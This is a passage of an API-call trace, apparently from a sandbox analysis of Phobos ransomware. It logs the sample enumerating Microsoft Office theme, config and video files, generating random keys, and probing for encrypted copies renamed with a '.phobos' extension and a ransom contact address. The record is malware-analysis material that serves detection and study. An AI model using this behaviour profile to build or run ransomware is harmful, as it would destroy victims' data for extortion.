dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.392] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3574) returned 1 [0155.392] CloseHandle (hObject=0x528) returned 1 [0155.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml")) returned 0x220 [0155.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Constantia-Franklin Gothic Book.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\constantia-franklin gothic book.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.392] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.393] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3517) returned 1 [0155.393] CloseHandle (hObject=0x528) returned 1 [0155.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml")) returned 0x220 [0155.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.394] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.394] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.394] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3555) returned 1 [0155.394] CloseHandle (hObject=0x528) returned 1 [0155.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml")) returned 0x220 [0155.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Franklin Gothic.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\franklin gothic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.395] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.395] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.395] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3540) returned 1 [0155.395] CloseHandle (hObject=0x528) returned 1 [0155.395] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml")) returned 0x220 [0155.396] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond-TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond-trebuchetms.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.396] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.396] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3517) returned 1 [0155.397] CloseHandle (hObject=0x528) returned 1 [0155.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml")) returned 0x220 [0155.397] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Garamond.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\garamond.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.397] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.397] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.398] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3522) returned 1 [0155.398] CloseHandle (hObject=0x528) returned 1 [0155.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml")) returned 0x220 [0155.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Georgia.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\georgia.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.398] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.398] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.399] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3745) returned 1 [0155.399] CloseHandle (hObject=0x528) returned 1 [0155.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml")) returned 0x220 [0155.399] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Gill Sans MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\gill sans mt.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.399] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.399] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.401] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3637) returned 1 [0155.401] CloseHandle (hObject=0x528) returned 1 [0155.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml")) returned 0x220 [0155.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\office 2007 - 2010.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.401] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.401] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.402] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3553) returned 1 [0155.402] CloseHandle (hObject=0x528) returned 1 [0155.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml")) returned 0x220 [0155.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Times New Roman-Arial.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\times new roman-arial.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.402] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.402] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.403] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3543) returned 1 [0155.403] CloseHandle (hObject=0x528) returned 1 [0155.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml")) returned 0x220 [0155.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\TrebuchetMs.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\trebuchetms.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.403] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.403] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.404] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3742) returned 1 [0155.404] CloseHandle (hObject=0x528) returned 1 [0155.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml")) returned 0x220 [0155.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.404] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.404] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.405] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3744) returned 1 [0155.405] CloseHandle (hObject=0x528) returned 1 [0155.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml")) returned 0x220 [0155.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.405] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.406] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=772033) returned 1 [0155.406] CloseHandle (hObject=0x528) returned 1 [0155.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx")) returned 0x220 [0155.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.406] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.407] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.408] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2831) returned 1 [0155.408] CloseHandle (hObject=0x528) returned 1 [0155.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml")) returned 0x220 [0155.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\CommonSequencingProperties.xml" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\commonsequencingproperties.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.408] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.config"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.409] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=184) returned 1 [0155.409] CloseHandle (hObject=0x528) returned 1 [0155.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.config")) returned 0x220 [0155.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.config.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\Flattener.exe.config" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\flattener.exe.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.410] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.411] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=125179) returned 1 [0155.411] CloseHandle (hObject=0x528) returned 1 [0155.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4")) returned 0x220 [0155.411] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.411] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.412] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0155.412] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4" (normalized: "c:\\program files\\microsoft office\\root\\fre\\startmenu_win10_rtl.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0155.412] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=118299) returned 1 [0155.412] CloseHandle (hObject=0x528) returned 1 [0155.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\StartMenu_Win10_RTL.mp4" (normalized: 